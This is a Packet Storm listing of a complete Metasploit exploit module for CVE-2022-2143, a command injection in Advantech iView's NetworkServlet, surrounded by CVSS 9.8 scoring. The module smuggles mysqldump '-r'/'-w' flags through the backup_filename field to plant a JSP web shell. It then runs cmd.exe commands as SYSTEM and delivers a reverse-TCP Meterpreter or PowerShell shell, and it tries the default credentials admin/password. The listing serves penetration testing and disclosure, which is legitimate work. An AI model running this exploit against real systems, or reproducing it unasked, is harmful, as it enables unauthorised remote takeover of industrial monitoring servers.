Lucene search

K
packetstormRgod, Shelby Pace, Y4er, metasploit.comPACKETSTORM:168108
HistoryAug 18, 2022 - 12:00 a.m.

Advantech iView NetworkServlet Command Injection

2022-08-1800:00:00
rgod, Shelby Pace, Y4er, metasploit.com
packetstormsecurity.com
306

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Advantech iView NetworkServlet Command Injection',  
'Description' => %q{  
Versions of Advantech iView software below `5.7.04.6469` are  
vulnerable to an unauthenticated command injection vulnerability  
via the `NetworkServlet` endpoint.  
The database backup functionality passes a user-controlled parameter,  
`backup_file` to the `mysqldump` command. The sanitization functionality only  
tests for SQL injection attempts and directory traversal, so leveraging the  
`-r` and `-w` `mysqldump` flags permits exploitation.  
The command injection vulnerability is used to write a payload on the target  
and achieve remote code execution as NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'rgod', # Vulnerability discovery  
'y4er', # PoC  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],  
[ 'CVE', '2022-2143']  
],  
'Platform' => [ 'win' ],  
'Privileged' => true,  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Windows Dropper',  
{  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],  
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2022-06-28',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),  
OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),  
OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])  
]  
)  
end  
  
def check  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
return CheckCode::Unknown('Failed to receive a response from the application') unless res  
  
unless res.body.include?('iView')  
return CheckCode::Safe('No confirmation that target is Advantech iView')  
end  
  
res = send_db_backup_request('')  
return CheckCode::Detected('Failed to receive response from backup request') unless res  
  
# The patch added auth as a requirement for  
# accessing the NetworkServlet endpoint  
if res.body =~ /ERROR:\s+User\s+Not\sLogin/  
@needs_auth = true  
print_status('Vulnerability is present, though authentication is required.')  
end  
  
CheckCode::Appears  
end  
  
def send_db_backup_request(filename)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'page_action_type' => 'backupDatabase',  
'backup_filename' => filename  
}  
)  
end  
  
def format_jsp  
bin_nums = []  
arg_nums = []  
flag_nums = []  
  
bin_param.each_char { |c| bin_nums << c.ord }  
bin_nums = bin_nums.join(',')  
arg_param.each_char { |c| arg_nums << c.ord }  
arg_nums = arg_nums.join(',')  
flag_param.each_char { |c| flag_nums << c.ord }  
flag_nums = flag_nums.join(',')  
  
'<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \  
'new ProcessBuilder(request.getParameter(' \  
"new java.lang.String(new byte[]{#{bin_nums}}))," \  
"request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \  
"request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \  
'.getInputStream()))%>'  
end  
  
def flag_param  
@flag_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def arg_param  
@arg_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def bin_param  
@bin_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def jsp_filename  
@jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, jsp_filename),  
'keep_cookies' => true,  
'vars_get' =>  
{  
bin_param => 'cmd.exe',  
flag_param => '/c',  
arg_param => cmd  
}  
)  
end  
  
def iview_authenticate  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')  
vprint_good('Successfully accessed the login page')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'CommandServlet'),  
'keep_cookies' => true,  
'vars_post' => {  
'page_action_service' => 'UserServlet',  
'page_action_type' => 'login',  
'user_name' => datastore['USERNAME'],  
'user_password' => datastore['PASSWORD'],  
'use_ldap' => 'false',  
'data' => ''  
}  
)  
  
unless res && res.body.include?('Success')  
fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')  
end  
vprint_good('Authentication successful!')  
end  
  
def need_auth?  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet')  
)  
return false unless res  
  
!!(res.body =~ /ERROR:\s+User\s+Not\sLogin/)  
end  
  
def exploit  
if @needs_auth || need_auth?  
iview_authenticate  
end  
  
jsp_code = format_jsp  
  
sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"  
full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\""  
  
res = send_db_backup_request(full_cmd)  
fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res  
  
path = "webapps\\iView3\\#{jsp_filename}"  
register_file_for_cleanup(path)  
if target['Type'] == :win_dropper  
execute_cmdstager  
else  
execute_command(payload.encoded)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H